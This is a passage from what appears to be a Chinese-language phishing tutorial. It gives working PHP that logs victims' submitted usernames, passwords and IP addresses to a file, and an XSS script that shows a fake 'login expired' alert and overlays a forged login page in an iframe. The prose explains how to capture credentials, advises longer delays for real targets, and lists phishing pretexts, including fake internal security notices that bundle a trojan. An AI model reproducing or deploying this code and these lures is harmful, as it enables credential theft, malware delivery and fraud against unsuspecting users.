<?php $date ='日期:'. date("[Y-m-d H:i:s]")." "; $line = '----------------------------------'." "; $user = '账号:'.$_POST['username']." "; $pwd = '密码:'.$_POST['password']." "; $ip = 'IP:'.getenv('REMOTE_ADDR')." "; $url = '钓鱼模板:'.getenv('HTTP_REFERER')." "; $log = "------------------------------ "; $result = $date.$line.$url.$user.$pwd.$ip.$log; file_put_contents('fish.log',$result, FILE_APPEND); header("Location: :5100/admin_index.html"); ?>
//xxs.js 触发弹窗,跳转至伪造登录界面
setTimeout(function() { alert("登陆过期,请重新登陆!"); parent.document.writeln("<iframe style="margin:0px;padding:0px;height:100%;width:100%;" src = "http://getpasswd/fish.html" frameBorder=0 scrolling=no></iframe>"); setTimeout(function() { document.getElementsByTagName("body")[0].setAttribute("style", "margin: 2px;"); }, 100); setTimeout(function() { parent.document.getElementsByTagName("body")[0].setAttribute("style", "margin: 0px;"); }, 100); }, 10);以下演示我们的伪造界面抓取密码的流程,当受害者直接访问伪造的管理员后台,过一段时间会发现登录超时的提示,此时证明已经成功加载我们的xss.js代码(注:此处xss.js的代码触发时间可以自行修改,我为了方便修改为10s,真实环境建议设置较长):
点击确认页面发生跳转至我们提前伪造好的登录界面,接着会触发放置好的get.php文件并调用获取我们的用户名密码:
执行登录操作后又会跳转至我们伪造的后台界面(实际情况中可以将本地跳转指定到正确的登录界面)
从本地日志中我们可以看到受害者输入的用户名密码:
0x04 甩“鱼钩”
下面简单介绍几个钓鱼案例:
案例一:伪造游戏礼包领取链接(获取用户名密码)
案例二:伪造新上线系统部署(VPN、OA等其他系统的账号密码获取等)
案例三:以内部公司的名义发送漏洞整改通告并附上检测工具(工具为恶意木马可执行上线操作)
案例四:以相关部门名义发布整改通告(通过恶意链接获取用户名密码等其他敏感信息)